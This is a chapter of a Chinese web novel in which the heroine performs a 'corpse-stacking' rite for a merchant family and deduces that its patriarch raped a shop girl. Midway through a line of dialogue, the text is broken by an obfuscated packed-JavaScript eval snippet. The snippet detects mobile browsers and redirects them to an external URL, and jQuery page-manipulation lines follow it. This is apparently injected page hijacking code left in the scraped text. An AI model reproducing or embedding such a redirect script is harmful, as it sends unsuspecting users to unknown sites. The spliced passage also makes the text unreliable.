38.浪荡的大娘子(10)
作品:《别丧了,起来当祖宗!(快穿)》 叠尸,是镇上一种镇邪的说法,意为将一具尸体罗列到另一具尸体上,以压制住那具尸体的邪气。
尸体,其实只是一具肉身,真有邪气,也是那肉身的魂魄起了邪,腾空飞上云端,变成一股股邪气。
用另一具尸体压制住它,免得魂尸作妖,便可叫主人安心。
但有邪气的尸体,一般都是受了冤。
比如大户人家的某些被陷害的丫鬟。
流冰海看着仇大哥,冷冷问,“您的意思是……”
仇大哥露出几丝苦笑,“大娘子莫误会,本府一向善待下人,可是不做那等昧良心之事,是府上来过的一名小厮,叫元宝,您可曾听说过这人?”
徐家染坊,曾来过一位莫名其妙的小厮,叫元宝。
那日,元宝扛着一把黑色长棍,醉醺醺闯进徐家,说是要与徐家决一死战。
徐家却和此人并无往来。
元宝那日双眼发黑,印堂也是灰青色,瞪着两只灯一样的眼睛。
徐家人吓的魂飞魄散,连忙请了一位先生来看,先生道元宝被一个怨气极重的冤鬼附了体,那冤鬼无形无影,却长着獠牙,十分瘆人。
先生拿出一张黄符,往元宝脸上贴去,符纸却瞬间像叶子一样飘走了。
元宝力气无比大,谁人都挣脱不开。
他跟豹子一样,在徐家猛跑了几圈,然后看到了徐家长子徐长项。
徐长项是个面和心善的生意人,元宝大约是欺软怕硬,见了徐长项,嗷嗷两声叫就饿狼扑食似的冲了过去,吓的徐长项的娘差点当众昏过去。
徐长项的娘惊的额头发懵,一时不知如何是好,嘴里只一直叫着“长项、长项……”
元宝抓住徐长项的脖颈,抓住以后嘿嘿笑了两声,却是没再说什么。
紧接着,徐家的水井突然发出奇怪的“咕噜”声。
咕噜、咕噜,一声接着一声,一串串水泡从井底层层连起。
元宝回头看那口井,像是突然馋了什么吃食似的,眼睛发亮。
然后拽着徐长项的脖颈像那口井冲了过去。
徐家人吓的呼天抢地,只见元宝把徐长项拽到井边后,怪叫了两声,然后自己朝井里跳了下去。
扑通一下,井底发出声音。
徐长项的娘脸色惨白,急忙过来看儿子。
徐长项还好好的,但元宝已经跌落井中溺死。
谁也不知这元宝的来龙去脉,总之都觉得沾了一股邪气,既然死在徐家,那只能徐家出面埋葬,另外,要再找一具尸体来压一压元宝的邪气。
免得这股邪气到处窜,以后变成鬼也来祸害徐家。
流冰海听着,呵呵笑了两声。
仇大哥问道,“大娘子在笑些什么?”
流冰海将他送上的银子将旁边一置。
仇大哥见了,心下一顿。
都知大娘子做晦气事只认钱不认人,怎的,这是不肯接?
心里带了几分不安,脸上也多了份疑云。
流冰海悠扬的眼尾重重看了看仇大哥,“您可知,元宝为何跳入井中?”
仇大哥道:“这可说不好啊,谁知为何。”
流冰海低头一笑,掸了掸身上的土。
仇大哥最怕大娘子掸土。
听说大娘子一掸土,便是心里有想法。
流冰海笑了笑,“徐家的井里,可有疑问?”
仇大哥心里一咯噔。
井里能有什么疑问?
日日从那井里打水喝,也没见喝死个什么人。
“我听说,徐家以前,是做布料生意的。”
仇大哥听了,默默望着大娘子,欲言又止了片刻,没说什么。
在开染坊前,徐家一直做的布料生意。
但也是正正经经的生意人,从不搞歪门邪道。
不过,布料店里曾经死过人。
是用布料上吊死的。
这件事情外人不知道,吊死的是店里一个小工,叫阿芳,阿芳被店里掌柜的□□以后,觉得没脸见人,便在店中自行了断。
可这大娘子是怎么知道的,阿芳的事又和元宝有什么关系?
流冰海似是看出了仇大哥的疑问,淡淡一笑,“元宝的声音,是否有些女气?”
仇大哥想了想,还真是有些。
于是恍然道,“大娘子的意思是……”
流冰海手一抬,说道,“莫叫我大娘子了,我猜想,元宝是被那女子附了体,去你们府上寻麻烦的。”
仇大哥蹙眉定了定神。
“所以,这事,便不是叠尸那么简单能解决的了。”
仇大哥眼窝紧紧的缩了缩。
流冰海最近晦气事做多了,也摸清了些门道,叠尸能驱除上面尸体的邪气,却驱除不了其怨气、怒气、惧气。
怨气攒多了,尸魂还是会出来闹事,祸乱人的。
她手指敲着桌面,好好的想了想,嘴角微勾着,好看的眼角微微下垂,“这恐怕,要你们管家额头贴上符纸,到元宝尸体面前亲自磕几个响头。
仇大哥目露惊讶之色:“这怎可能,管家人早已不在了。”
当时布料店的管家已五十有余,如今徐家转做染坊也已近二十年,管家早已驾鹤西去。
流冰海又笑了笑,“那便叫你们徐老爷亲自去一趟便是。
仇大哥一听,眼睛更是瞪的老大,“叫我们老爷去,这怎可能?简直笑话。”
呵呵……
叫一个老爷去给一具尸体磕头,简直荒唐。
流冰海推回那腚银子,笃定道,“若不行,此事我便做不得。”
仇大哥蹙了蹙眉。
大娘子一向认钱不认人的。
“叠尸,若是不散掉其怨气,叠了也没有用。”流冰海淡淡道,“您不妨回去和府上商量商量,过后再说。”
仇大哥迟迟没肯动。
流冰海知道,这定是徐府出了什么麻烦的荒唐事,这才想起来要叠元宝的尸。
而且断不是小小的麻烦事。
仇大哥想了想,有些为难,“这,管家做的荒唐事,怎能让我家老爷来磕这个头。”
流冰海笑了笑,“您先回府上问一问,再来给我回话吧。”
过了几日,仇大哥再次上门,称徐老爷已经答应了此事。
不应怕是不行的,自元宝跳井后,府上人心惶惶,夫人也日日病着,恐那人再回来寻些个什么麻烦。
“您看何时能动身?知会我一声便是。”
流冰海并不意外,“另外一具尸体,你们可准备好了?”
仇大哥道,“准备好了,买了胡同口一家病死的丫头。”
叠尸,是要把一具身体,叠落在另一具尸体上,以盖住那尸体的晦气,保证其日后不再祸害主家。
这晦气又恶心的事,无人愿意亲自做,便找到了流冰海。
“那走吧。”
一路,流冰海都斜眼看着跟在后面的小痣。
小痣特别鬼头,跟在队伍最后面,时不时伸手捂捂鼻子。
他隐约能闻到尸体的一丝臭气。
到了坟地,流冰海拿出一张符纸,贴在徐老爷额头上,又命人挖开元宝的坟。
此时距离元宝跳井不到一年,尸体已经腐烂,骨头逐渐被蚂蚁、臭虫吞食。
流冰海望了望那坟,身后的小痣一脚蹦过来,使劲朝那坟里望了望。
“谁啊!”仇大哥喊了一句。
流冰海回头道,“我弟弟,跟班的。”
徐家人便没再说什么。
小痣趴到流冰海耳边,小声道,“姐姐,叠尸可有大学问,你可晓得?”
呵呵……
这小子好像知道的总是挺多。
流冰海没说话,命徐家人把买来的尸体送过来。
来之前,已经给那丫头换上了干净衣服,衣服上点缀了一颗梅花,梅花香自苦寒来,
既然苦寒,便可以压制住满身邪气。
然后,烧了一个火把。
此刻正是下午。
一般来讲,这种晦气事都不愿下午做,午后阴气极重,若在坟地便更是阴的不行。
晦气事,往往喜欢挑个早上的时辰。
趁着艳阳高照,还能压一压这晦气。
流冰海今儿特意选了个下午。
便是要趁着阴气重,彻底将下面的晦气激出来。
火把烧起,她在身边绕了一圈,回头冲徐家老爷子道,“您磕头吧!”
徐家老头额上贴着黄色符纸,板着一具身体,十分紧张,慌紧的脸蛋上贴着黄符,看起来颇有些搞笑。
听流冰海道了这么一句,恍了一下神后,扑通一声跪下去,砰砰的磕了几个响头。
火把又在坟坑周围绕了一圈。
“看到了,徐家已经给你赔罪了。”流冰海对着坟坑道。
都知道,此时坟坑里的不过是一具已经被蚊虫咬的乱七八糟的尸体,冤魂早已离开躯体。
但虽然离开,此刻场景,怕是还在旁边冷冷看着这一幕。
说完那一句,流冰海便让徐家抬上买来的尸体。
尸体抬来后,别人退下去,流冰海一人将那女人尸体背起来。
尸体很轻,不过70斤有余。
她大喝了一声,“妎!”
一声“妎”起,周遭传来泥土松动的声音,四周似乎又开始有小狼出没,徐家人举着火把,神情紧张。
“你们可以走了。”尸体落下后,流冰海对徐家人道。
后面的晦气事,便由她自己负责便可。
徐家人听闻此话,赶紧举着火把搀着徐家老爷离开坟地,徐家老爷腿脚颤动着,险些摔倒,一步都不愿回头。
天色渐渐暗下来,只剩下流冰海和小痣二人。
小痣道:“姐姐,你自己可以?”
流冰海没理她,耸动了两下肩膀,颠了颠那女孩尸体,然后翻身一置,女孩尸体被稳稳落入坟坑中。
流冰海戴上面罩和手套,跳入坟坑。
里面味道奇特,隔着面罩也有些刺鼻。
她将元宝尸体的腐烂骨头整理平整,然后摆动好女孩的位置,稳稳压在元宝上面。
叠尸有个规矩,下面的尸体必须被完整压住,不能露一丝骨头。
流冰海看了看,将女孩的手、脚依次摆放好,完全压盖住元宝,又将元宝的碎骨头往里面挪了挪。
叠尸这才完毕。
流冰海爬上来。
小痣捂着鼻子,“姐姐,好臭。”
流冰海:“臭你可以走。”
小痣:“我不放心你,姐姐,以后能不能挑点晦气事中的喜事做?”
流冰海一听这话心里倒是笑了,“什么喜事?”
小痣:“比如,帮哪个名声好的大官埋尸体啥的。”
流冰海:“大官有名声好的吗?”
小痣想了想,“好像没有。”
流冰海:“走吧。”
……
回去的一路,小痣一直偷偷看流冰海。
“别看我。”流冰海道。
小痣说,“姐姐,你真好看,怪不得我展大哥喜欢你。”
流冰海没说什么,小痣又道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028421|155684||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姐姐,徐老爷子竟然给元宝磕头,叠尸没这规矩啊。”
流冰海冷笑了一声。
小痣看到她冷笑,嘴角也爬上了一丝戏谑的笑容,像是知道什么玄机似的。
“姐姐,你也知道布料店的事?”
流冰海回头上下看着小痣,“你一个小乞丐,知道的天下事还不少。”
小痣鬼笑一声,“姐姐,都说徐家人面和心善,可你真当那徐长项是正经君子?”
流冰海淡漠的扯了扯唇角,“都说上梁不正下梁歪,下梁不正上梁斜。徐长项若是正经君子,徐老爷恐怕也不会强|奸人家小姑娘。”
自己做的亏心事,全放到一个掌柜的身上,也是可笑。
小痣张大了嘴巴,惊了一会儿,道,“姐姐你还会算命?”
呵……
算命不会,但穿到这个世界,晦气事做久了,算心的事倒是了解些。
走到一半,后面丛林起了动静,流冰海顿住脚步,回头看了一眼。
“怎么了姐姐?”小痣问。
流冰海定定看了看那丛林,林子里有动静,一个上蹿下跳的小动物在里面忽闪忽现,但过了一会儿,就没了动静。
流冰海摇摇头,“走吧。”
小痣奇怪的看了看那片丛林,回头对流冰海继续嘀咕道,“徐家可不是省油的灯。”
那徐家做布料生意的时候,一直亲历善行,救助了一些无后的孤寡,博了个好名声,但也有传言,徐家都是为了生意,才以行善为虚名接触一些生意大户。
实际上,徐家在生意做大的后期,便没再料理那些孤寡者。
但行善之事,做为情,不做为本,也说不得人家什么。
只是,自徐长项婚后,徐家大儿媳便辞退了店里大部分做琐事的姑娘,换成了男子打理店中琐事。
这件事一直萦绕在几个生意人口中。
再加上元宝又让那女子与掌柜之事浮出水面,细细想来,总觉蹊跷。
流冰海淡淡道:“我想,元宝会死死抓住徐长项的脖子,恐怕布料店的事,也不是徐老爷一人所为。”
小痣又瞪圆了眼睛。
父子二人齐上阵么……
好团结友爱,有肉一起分,肥水不流外人田。
“所以,怎能不让他去给人家姑娘磕几个响头?”
小痣半天没说话,俩人走了一会儿,又听到附近的狼声,但都是远远的,嗷呜了几声,没有追上来。
——
夜晚、茶庄。
张若尘与管家一起喝茶。
新出的毛尖,绿的脆声,新叶新茶,香的喜人。
张若尘给管家斟上一盏。
管家抿了一口,幽幽道,“她还在做晦气事,竟连叠尸的事也做,胆子是真大。”
张若尘淡淡道,“她的胆子,还不是向来就奇大。”
“可她做的是徐家的事!”管家道。
张若尘一愣,手里的茶杯微微顿住。
管家道,“徐家的事,岂是能沾染的,做了之后,还不是会被……”
说到一半,管家咔的一下,比划了个抹脖子的手势。
“你听谁说的?”张若尘问。
“还是小痣。”管家道,“我一直让小痣跟着,本身,就为了看看她和那男人的关系……”
张若尘顿了一会儿,手里的茶杯缓缓落下后,面无表情道,“他们怎么样。”
管家如实道,“小痣说,怎么让她去见那姓展的,她都不应,看来,是真有心跟他断。”
张若尘抿了一口茶,茶叶很香,却香到舌尖发苦。
他呵呵冷笑了两声,“再断有何用,该发生的已经发生了。”
管家:“好像也没发生什么……”
张若尘抬头望了管家一眼。
管家蠕动了半天双唇,“前些日子,她大病了一场,听说家里丫头去看了她,当着小痣的面,说了一些她过去的事。”
张若尘默默听着,不知道管家葫芦里卖的什么药。
管家犹豫了一会儿,又道,“老奴不知该不该和主子说。”
张若尘眉头一拧,“有话直说便是,你我二人还能有嫌隙不成。”
“那自是不会。”管家道,“听丫头说,那女人不敢生育,是在母家受了苛待,母亲软弱父不慈,她对父母这重身份,失望至极,不敢触碰这层关系。”
管家本来不想提这事儿。
这就是庄主心头一把刀,什么时候提起来,什么时候都痛的要命,尽管现在已经跟云烟有了孩子,却仿佛不是自己的孩子一样。
张若尘望着茶盏半天没说话。
他的心中五味杂陈,好像被人拿了一把剑狠狠的在里面戳上了一戳。
她昔日倔强无理的样子又在眼前浮现。
他恍了个神,又不允许自己恍神,再怎的,无后就是无后。
再怎的,她负了他,终究就是负了他。
可这心,为何就是这般痛,这般酸涩,这般硬生生挺着坚强,却仿佛只是一块拼命逞强的红砖,一个瞬间,便变成五分五裂的碎石。
张若尘黑着脸,只字未言。
“庄主,后日她要参加镇上的宰鸡宴,您可要去看看?”
镇上有个传说,每年阎王都会派一批小鬼进入凡间,扮成小鸡,专捡那些作恶多端的坏人去叼,如果发现谁的额头上有被鸡叼过的痕迹,那便是恶人无疑。
张若尘看着外面朗朗夜空,想到从前与她相处的种种。
人生若能重新来过,他怕是会在娶她的第一个晚上,就把她修掉,免去日后的种种烦忧。